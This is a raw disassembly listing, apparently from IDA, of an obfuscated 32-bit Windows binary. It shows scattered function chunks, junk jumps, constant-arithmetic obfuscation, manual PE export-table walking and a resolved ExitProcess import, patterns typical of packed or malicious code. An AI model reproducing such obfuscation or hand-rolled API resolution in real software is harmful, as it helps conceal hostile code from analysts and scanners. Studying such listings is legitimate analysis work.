; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_406C95:				; CODE XREF: sub_4061E8+5C32j
		cmp	edi, ebx
		jmp	loc_40E1B5
; END OF FUNCTION CHUNK	FOR sub_4061E8
; ---------------------------------------------------------------------------
		jnb	sub_409694
		push	edi
		jmp	sub_40DE47
; ---------------------------------------------------------------------------
		sub	ecx, 5C726591h
		jmp	sub_4061A1

; =============== S U B	R O U T	I N E =======================================



sub_406CB3	proc near		; CODE XREF: sub_405033:loc_409A83p

; FUNCTION CHUNK AT 00405487 SIZE 0000000B BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		call	sub_40F5FA


loc_406CBD:				; CODE XREF: sub_405F08+3j
		jmp	loc_405487
sub_406CB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_406CC2	proc near		; CODE XREF: _837l4vi2:0040B231p
		push	offset sub_4109B8
		jmp	nullsub_213
sub_406CC2	endp

; ---------------------------------------------------------------------------


loc_406CCC:				; CODE XREF: _837l4vi2:0041043Aj
		cmp	edx, 4B88754h
		jmp	loc_40B63E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_406CD7:				; CODE XREF: sub_40C3AF-40FFj
					; _837l4vi2:0040C505j ...
		jnb	loc_408549
		call	sub_40BF48
		test	al, al
		jz	loc_40F5DC
		xchg	ecx, edx
		jmp	loc_405EF7
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AD3


loc_406CF2:				; CODE XREF: sub_407AD3:loc_40C995j
		cmp	esi, 0E765343Ch
		jmp	loc_40C36F
; END OF FUNCTION CHUNK	FOR sub_407AD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_406CFD:				; CODE XREF: sub_405CBCj
		call	sub_40CDE9


loc_406D02:				; CODE XREF: sub_40FD62+Cj
		jmp	loc_40C14C
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408CAC


loc_406D07:				; CODE XREF: sub_408CAC+Cj
		jmp	loc_40D529
; END OF FUNCTION CHUNK	FOR sub_408CAC
; ---------------------------------------------------------------------------
		add	edx, esi
		jmp	sub_407853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_406D13:				; CODE XREF: sub_40AE2D+339Bj
		jg	loc_40585A


loc_406D19:				; CODE XREF: sub_40AE2D:loc_40959Dj
		call	nullsub_188
		retn
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405492


loc_406D1F:				; CODE XREF: sub_405492+4C37j
		jmp	loc_40FAB5
; END OF FUNCTION CHUNK	FOR sub_405492
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_406D25:				; CODE XREF: sub_40AA44-3107j
		jmp	loc_40FEA6
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C255


loc_406D2A:				; CODE XREF: sub_40C255:loc_4081B4j
		call	sub_40EC3B
; END OF FUNCTION CHUNK	FOR sub_40C255
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_406D2F:				; CODE XREF: sub_409D6B-3E42j
		jmp	loc_40756B
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_406D34:				; DATA XREF: sub_40A83D-1F83o
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx-10h], eax
		call	sub_4093C7
; START	OF FUNCTION CHUNK FOR sub_4098B0


loc_406D45:				; CODE XREF: sub_4098B0+Cj
		jmp	loc_407862
; END OF FUNCTION CHUNK	FOR sub_4098B0
; ---------------------------------------------------------------------------
		lodsb
		pusha


loc_406D4C:				; DATA XREF: _837l4vi2:0040DE11r
		and	bh, bl
		or	edi, [edi]
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_406D50:				; CODE XREF: sub_40C099-16ADj
		jmp	nullsub_177
; END OF FUNCTION CHUNK	FOR sub_40C099
; ---------------------------------------------------------------------------
		db 42h,	1Ah, 7Ah
dword_406D58	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; _837l4vi2:00406792r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2AB


loc_406D5C:				; CODE XREF: sub_40A2AB+6j
		jmp	nullsub_27
; END OF FUNCTION CHUNK	FOR sub_40A2AB
; ---------------------------------------------------------------------------
		db 7Fh,	0B6h, 3Eh
dword_406D64	dd 0							; sub_40966E:loc_40CC3Fw ...
dword_406D68	dd 2							; sub_40DE68-82F3r ...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4052A5


loc_407168:				; CODE XREF: sub_4052A5+Cj
		jmp	loc_406BCD
; END OF FUNCTION CHUNK	FOR sub_4052A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_40716D:				; CODE XREF: sub_405984:loc_40F33Bj
		jb	loc_408918
		test	ebp, 6518742Bh
		jmp	loc_408BC4
; END OF FUNCTION CHUNK	FOR sub_405984

; =============== S U B	R O U T	I N E =======================================



sub_40717E	proc near		; DATA XREF: sub_40892F+4D80o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004066C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DFD5 SIZE 00000005 BYTES

		adc	edx, [esp+arg_0]
		jmp	loc_4066C6
sub_40717E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_407187:				; CODE XREF: sub_40892F:loc_40B931j
		push	offset loc_4057B6
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_407191:				; CODE XREF: sub_4065B8+8823j
		jnz	loc_40B13A
		ror	edi, 14h
		jnp	loc_40517F
		push	269F05Bh


loc_4071A5:				; CODE XREF: sub_4065B8:loc_410589j
		call	nullsub_2
		retn
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405DBA


loc_4071AB:				; CODE XREF: sub_405DBA+Ej
		jmp	loc_40BDE9
; END OF FUNCTION CHUNK	FOR sub_405DBA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_4071B1:				; CODE XREF: sub_40833D+BDj
		jmp	loc_40EDBD
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_4071B6:				; CODE XREF: sub_4065B8+72FFj
		push	eax
		jmp	loc_40DA5D
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------


loc_4071BC:				; CODE XREF: _837l4vi2:00409DCDj
		jnz	loc_40A898
		jmp	loc_40F17B
; ---------------------------------------------------------------------------


loc_4071C7:				; CODE XREF: _837l4vi2:0040670Bj
		jnz	loc_40EF10

; =============== S U B	R O U T	I N E =======================================



sub_4071CD	proc near		; CODE XREF: _837l4vi2:0040E728p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax+0Ch]
		lea	edx, [eax+20h]
		jmp	loc_40E107
sub_4071CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_40D729
		mov	byte ptr [ebp-806h], 0
		mov	byte ptr [ebp-805h], 0
		mov	byte ptr [ebp-804h], 0
		jmp	loc_410054
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4077E6


loc_4071FF:				; CODE XREF: sub_4077E6:loc_408CCCj
		mov	edx, [eax]
		mov	al, 1
		call	edx
		mov	ebp, offset loc_407213
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_4077E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40813B


loc_40720E:				; CODE XREF: sub_40813B+10j
		jmp	loc_40D5CF
; END OF FUNCTION CHUNK	FOR sub_40813B
; ---------------------------------------------------------------------------


loc_407213:				; DATA XREF: sub_4077E6-5E1o
		xor	eax, eax
		jmp	loc_405664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405686


loc_40721A:				; CODE XREF: sub_405686:loc_40B485j
		mov	eax, [eax]
		jmp	loc_408874
; END OF FUNCTION CHUNK	FOR sub_405686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_407221:				; CODE XREF: sub_40B67D-43C0j
		or	[ecx+edx], al
		mov	eax, [ebp-0Ch]
		push	eax
		push	0
		call	sub_410B67


loc_40722F:				; CODE XREF: sub_40918C+Cj
		jmp	loc_40A72B
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------


loc_407234:				; CODE XREF: _837l4vi2:loc_40A48Fj
		rol	edx, 8


loc_407237:				; CODE XREF: _837l4vi2:loc_40A86Bj
		mov	[edi], ebx
		jmp	loc_405A1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40723E:				; CODE XREF: sub_40C1F0-29B6j
		call	sub_40DBCC


loc_407243:				; CODE XREF: sub_409804+11j
		jmp	loc_4099A0
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_407248:				; DATA XREF: sub_40FB01+Ao
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_40EB2A
		push	offset sub_40B250
		jmp	loc_40C147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_407261:				; CODE XREF: sub_40A454:loc_40777Fj
		mov	ecx, ebp
		jmp	loc_407C48
; END OF FUNCTION CHUNK	FOR sub_40A454
; ---------------------------------------------------------------------------


loc_407268:				; CODE XREF: _837l4vi2:0040E9BCj
		pop	ebx
		add	ebx, 9DDB402h
		rol	ebx, 10h
		test	ebx, 20000h
		jmp	loc_40DAA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40861C


loc_40727D:				; CODE XREF: sub_40861C:loc_4108F4j
		push	offset loc_41066F
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_40861C

; =============== S U B	R O U T	I N E =======================================



sub_407287	proc near		; CODE XREF: sub_40966E:loc_406B0Bp
					; _837l4vi2:0040B79Cj

; FUNCTION CHUNK AT 004068B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E5CC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F6B6 SIZE 0000001E BYTES

		mov	[esp+0], ecx
		pop	ecx
		jb	loc_40F6BC
		test	byte ptr [ebp-8], 40h
		jz	loc_40E5CC
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40926F
		jmp	loc_40F6B6
sub_407287	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDE4


loc_4072A9:				; CODE XREF: sub_40BDE4:loc_40B6CFj
		jz	loc_406C39
		jmp	loc_40AA2F
; END OF FUNCTION CHUNK	FOR sub_40BDE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_4072B4:				; CODE XREF: sub_40B67D:loc_405E97j
		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		jo	loc_407221
		or	[ecx+edx], al
		push	7A1D42CAh
		pop	eax
		add	eax, 5DB21D52h
		add	eax, ebp
		jmp	loc_4074EB
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------


loc_4072D9:				; CODE XREF: _837l4vi2:00409631j
		ja	loc_4086C4
		mov	edx, 33D73E95h

; =============== S U B	R O U T	I N E =======================================



sub_4072E4	proc near		; CODE XREF: sub_40C2F6+B40p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00405195 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004054CA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040694A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00409682 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040995F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00409E03 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040D95D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040DF2C SIZE 00000005 BYTES

		mov	[esp+0Ch+var_C], edi
		pop	edi
		push	0B12A2D21h
		add	[esp+0Ch+var_C], 4ED5D2E0h
		pushf
		push	34A16EFh
		jmp	loc_409682
sub_4072E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4072FF:				; CODE XREF: _837l4vi2:004092EFj
		rol	eax, 8
		jmp	loc_40E767
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_407308:				; CODE XREF: _837l4vi2:0040F87Bj
		jmp	locret_40AF33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F5BE


loc_40730D:				; CODE XREF: sub_40F5BE+12j
					; _837l4vi2:004101EBj
		jmp	loc_40DE24
; END OF FUNCTION CHUNK	FOR sub_40F5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_407312:				; CODE XREF: sub_405950-874j
		jmp	loc_40851A
; END OF FUNCTION CHUNK	FOR sub_405950
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064B4


loc_407318:				; CODE XREF: sub_4064B4+7j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_4064B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE28


loc_40731D:				; CODE XREF: sub_40FE28:loc_40BDC1j
		call	sub_409ADF
; END OF FUNCTION CHUNK	FOR sub_40FE28
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_407322:				; CODE XREF: sub_4055D2:loc_40F74Dj
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		push	offset sub_40B952
		jmp	loc_406448
; END OF FUNCTION CHUNK	FOR sub_4055D2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407333	proc near		; CODE XREF: sub_4093B0:loc_40AA78j
		retn
sub_407333	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_407334:				; CODE XREF: sub_40D735:loc_40F8EEj
					; sub_40D735+3332j
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_409F1E
		jmp	loc_410D0D
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_40734B:				; CODE XREF: sub_40611B:loc_40787Dj
		add	esi, 884E8C2Eh
		xchg	esi, [esp+18h+var_18]
		jmp	loc_40C54F
; END OF FUNCTION CHUNK	FOR sub_40611B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40735A	proc near		; CODE XREF: _837l4vi2:0040A726j
					; _837l4vi2:0040C88Ep
		mov	eax, offset dword_4109D4
		push	ebx
		push	441F04B0h
		pop	ebx
		rol	ebx, 1Ah
		jmp	loc_4061D0
sub_40735A	endp

; ---------------------------------------------------------------------------


loc_40736E:				; CODE XREF: _837l4vi2:00406AEFj
		not	edi
		adc	ebp, 0D28EB4DAh


loc_407376:				; CODE XREF: _837l4vi2:loc_40DFB6j
		push	eax
		push	1C64500Ch
		pop	eax
		push	offset sub_405265
		jmp	loc_40F591
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_407387:				; CODE XREF: sub_407FEA-404j
		jnz	loc_40C816
		jmp	loc_40CF9B
; END OF FUNCTION CHUNK	FOR sub_407FEA

; =============== S U B	R O U T	I N E =======================================



sub_407392	proc near		; CODE XREF: _837l4vi2:004067BDj
					; sub_4078C8+6D36p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004064AF SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp-4+arg_0]
		jmp	loc_4064AF
sub_407392	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40739E:				; CODE XREF: sub_408567-1933j
		push	edi
		push	1AE99C39h
		pop	edi
		xor	edi, 9D81A8F5h
		jmp	loc_409075
; END OF FUNCTION CHUNK	FOR sub_408567
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_4073B1:				; CODE XREF: sub_405BB4+2D49j
		jmp	loc_40E899
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_4073B6:				; CODE XREF: sub_40E4F1-88F9j
		jmp	loc_40A660
; END OF FUNCTION CHUNK	FOR sub_40E4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_4073BB:				; CODE XREF: sub_40A799:loc_40C8F1j
					; _837l4vi2:loc_40DA85j
		xor	eax, 99086302h
		sub	eax, 23C4401h
		cmp	eax, 295D96EDh
		jmp	loc_406591
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
		push	eax
		call	sub_4073DE
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FFAC


loc_4073D9:				; CODE XREF: sub_40FFAC+Cj
		jmp	loc_40C24A
; END OF FUNCTION CHUNK	FOR sub_40FFAC

; =============== S U B	R O U T	I N E =======================================



sub_4073DE	proc near		; CODE XREF: _837l4vi2:004073D3p
		call	sub_40848F
sub_4073DE	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40538C


loc_4073E3:				; CODE XREF: sub_40538C+9j
		jmp	loc_40DEE7
; END OF FUNCTION CHUNK	FOR sub_40538C

; =============== S U B	R O U T	I N E =======================================



sub_4073E8	proc near		; CODE XREF: sub_40E9D8+5p
					; _837l4vi2:0040FADBj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040FF44 SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[esp-4+arg_0], ebp
		mov	ebp, esp
		jnb	sub_40A915
		add	esp, 0FFFFFFF4h
		jmp	loc_40FF44
sub_4073E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4073FF:				; CODE XREF: sub_40AA44:loc_4080B6j
		add	esi, 0EB149331h
		test	esi, 10000h
		jmp	loc_40E0DA
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_407410:				; CODE XREF: sub_408736:loc_40AE13j
		test	eax, 38DC1499h
		jmp	loc_40CF71
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FD34


loc_40741B:				; CODE XREF: sub_40FD34:loc_406B58j
		pop	eax
		add	eax, 904F9630h
		call	sub_409694
; END OF FUNCTION CHUNK	FOR sub_40FD34
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_407427:				; CODE XREF: sub_40892F+6CF3j
		jmp	loc_40E66F
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40742C:				; CODE XREF: sub_40601E+67AAj
		and	eax, edx
		jz	loc_410F3D
		mov	ecx, [ebp-20h]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		push	63AEE587h
		pop	edx
		jmp	loc_40C3F5
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
		xor	eax, ebx
		jmp	sub_4094E2
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_40F417
		jmp	loc_408CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_407460:				; CODE XREF: sub_40F812-ED4j
		rol	edi, 1
		test	ebp, 0B24C2D87h
		jmp	loc_40E9F8
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40746D:				; CODE XREF: sub_40601E+809Aj
		jnz	loc_40C7AB
		jmp	loc_408F96
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4093C7


loc_407478:				; CODE XREF: sub_4093C7+13j
		mov	eax, [ebp+8]
		push	offset loc_408C13
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_4093C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_407485:				; CODE XREF: sub_4061B1:loc_406824j
		push	ecx
		push	0F34880EDh
		pop	ecx
		and	ecx, 4BBB7325h
		jmp	loc_407F27
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------


loc_407497:				; DATA XREF: sub_40B3A7+11B7o
		push	eax
		push	edi
		push	4EA6F57h
		or	edi, eax
		jmp	loc_40BEAF
; ---------------------------------------------------------------------------


loc_4074A5:				; CODE XREF: _837l4vi2:0040B5E0j
		sub	edi, 0B179352Ah
		xor	edi, 7933B779h
		add	edi, 0CE8D73E0h
		push	offset sub_406C8D
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_4074BC:				; CODE XREF: sub_40C5BE+43B9j
		jmp	loc_40B3CD
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C94E


loc_4074C1:				; CODE XREF: sub_40C94E:loc_40682Fj
		mov	eax, offset sub_40558B
		call	sub_40F453
; END OF FUNCTION CHUNK	FOR sub_40C94E
; START	OF FUNCTION CHUNK FOR sub_40F4E5


loc_4074CB:				; CODE XREF: sub_40F4E5-947Dj
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_40F4E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4074D0:				; CODE XREF: sub_40AE2D:loc_40F042j
					; _837l4vi2:0040F053j
		or	eax, 95CE51A6h
		add	eax, 286134EFh
		xchg	eax, [esp+4+var_4]
		jmp	sub_408BA9
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4074E5:				; CODE XREF: _837l4vi2:0040B7BAj
		jmp	loc_4053F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_4074EB:				; CODE XREF: sub_40B67D-43A9j
		jmp	loc_410131
; END OF FUNCTION CHUNK	FOR sub_40B67D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_4074F1:				; CODE XREF: sub_40B99D+1AA2j
		jmp	loc_40E08C
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_4074F6:				; CODE XREF: sub_4103D0-9A98j
		jmp	loc_405D4C
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_4074FB:				; CODE XREF: sub_405AFA:loc_405190j
		push	esi
		push	0C104BAC9h
		pop	esi
		sub	esi, 0C1FB8A59h
		jmp	loc_40DCA8
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
		ja	loc_40CDA2
		jmp	sub_40892F
; ---------------------------------------------------------------------------
		jnb	loc_40A063
		jmp	sub_40E69B
; ---------------------------------------------------------------------------
		jns	loc_40CCEA
		jmp	loc_405C36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A485


loc_40752E:				; CODE XREF: sub_40A485:loc_40A48Aj
		or	edi, 0F23CCB4Bh
		jmp	loc_40D820
; END OF FUNCTION CHUNK	FOR sub_40A485
; ---------------------------------------------------------------------------


loc_407539:				; CODE XREF: _837l4vi2:00410932j
		jb	loc_409489
		rol	esi, 1Ch
		jmp	sub_4055D2
; ---------------------------------------------------------------------------


loc_407547:				; CODE XREF: _837l4vi2:0040672Dj
		xchg	esi, [ebp+0]
		jmp	loc_40A60E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40754F:				; CODE XREF: sub_408736+7A4Fj
		shr	ebp, 7
		xor	edi, 0DEB8576Eh
		cmp	esi, 7A92BD62h


loc_40755E:				; CODE XREF: sub_40D735:loc_4085E5j
		jmp	loc_40590C
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_407563:				; CODE XREF: sub_40C805:loc_40ED0Aj
		xchg	edi, [esp+0]
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40756B:				; CODE XREF: sub_409D6B:loc_406D2Fj
		jz	loc_409F1E
		jmp	loc_405400
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_407576:				; CODE XREF: sub_408BA9:loc_40E60Dj
		pop	edi
		xor	edi, 0E66C5039h


loc_40757D:				; CODE XREF: sub_40892F:loc_40F880j
		add	edi, ecx
		add	edi, 3C088961h
		mov	[edi], eax
		pop	edi
		push	offset loc_40E53F


loc_40758D:				; CODE XREF: _837l4vi2:loc_4084B3j
		jmp	loc_40B13F
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_407592:				; CODE XREF: sub_408A93:loc_40DA53j
		sub	esi, 0F0A7D01h
		sbb	esi, 5CA16BA0h
		jmp	loc_40BF79
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_4075A3:				; CODE XREF: sub_40DC3E:loc_406545j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		call	sub_405971


loc_4075AE:				; DATA XREF: sub_40A91F+6o
		mov	eax, ds:dword_40B628
		or	eax, eax
		jnz	loc_408D8E
		jmp	loc_40DB64
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D31D


loc_4075C2:				; CODE XREF: sub_40D31D:loc_40A576j
		pop	ecx
		or	ecx, ds:4000CCh
		sub	ecx, 31006723h
		cmp	ecx, 286BCB0h
		jmp	loc_408948
; END OF FUNCTION CHUNK	FOR sub_40D31D
; ---------------------------------------------------------------------------
		call	sub_40B088
		push	0AA5466F6h
		pop	edx
		xor	edx, 38E50D21h
		call	sub_40E739
